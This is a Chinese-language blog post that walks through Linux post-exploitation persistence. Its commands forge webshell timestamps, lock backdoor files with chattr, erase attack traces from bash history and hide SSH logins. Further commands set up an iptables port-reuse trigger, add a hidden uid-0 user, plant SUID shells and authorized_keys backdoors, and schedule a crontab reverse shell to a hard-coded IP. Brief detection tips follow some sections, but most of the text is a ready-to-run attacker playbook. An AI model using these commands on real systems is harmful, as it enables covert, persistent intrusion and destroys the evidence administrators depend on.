文章

Linux权限维持

Linux篇-隐藏

隐藏文件

Linux 下创建一个隐藏文件:touch .test.txt

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

1
touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

1
touch -t 1401021042.30 webshell.php

隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。

1
2
3
4
chattr +i evil.php 锁定文件
lsattr  evil.php   属性查看
chattr -i evil.php 解除锁定
rm -rf evil.php  删除文件

隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

1
2
[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

1
2
[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

1
history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

1
history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

1
sed -i '150,$d' .bash_history

隐藏远程SSH登陆记录

隐身登录系统,不会被w、who、last等指令检测到。

1
ssh -T root@127.0.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

1
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

1
2
3
4
5
6
7
8
 #安装SSLH
 sudo apt-get install sslh
 #配置SSLH
 编辑 SSLH 配置文件:
 sudo vi /etc/default/sslh
 1、找到下列行:Run=no  将其修改为:Run=yes
 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

第二种方式:利用IPTables进行端口复用

1
2
3
4
5
6
7
8
9
10
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

利用方式:

1
2
3
4
5
6
#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

具体文章详见:远程遥控 IPTables 进行端口复用

Linux篇-后门

创建后门用户

一句话添加用户和密码,添加普通用户:

1
2
3
4
5
6
7
8
9
10
11
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest

# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd

# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

1
2
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

1
2
3
4
5
6
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

SUID Shell

SUID shell是一种可用于以拥有者权限运行的shell。

1
2
3
配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

使用guest用户登录就可以获取root权限。

img

备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

排查技巧:

1
2
3
4
5
6
# 在Linux中查找SUID设置的文件
find . -perm /4000 
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

SSH免密登录后门

ssh公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

客户端:

1
ssh-keygen -t rsa

过程中按三次回车,执行结束如下图:

img

进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:

img

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

排查技巧:查看/root/.ssh/authorized_keys是否被修改。

crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

1
2
3
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1
chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

1
2
#每一分钟执行一次
*/1 * * * * root /etc/evil.sh

重启crond服务,service crond restart,然后就可以用nc接收shell。

img

排查技巧:

1
2
# 查看可疑的定时任务列表
crontab -e
本文由作者按照 CC BY 4.0 进行授权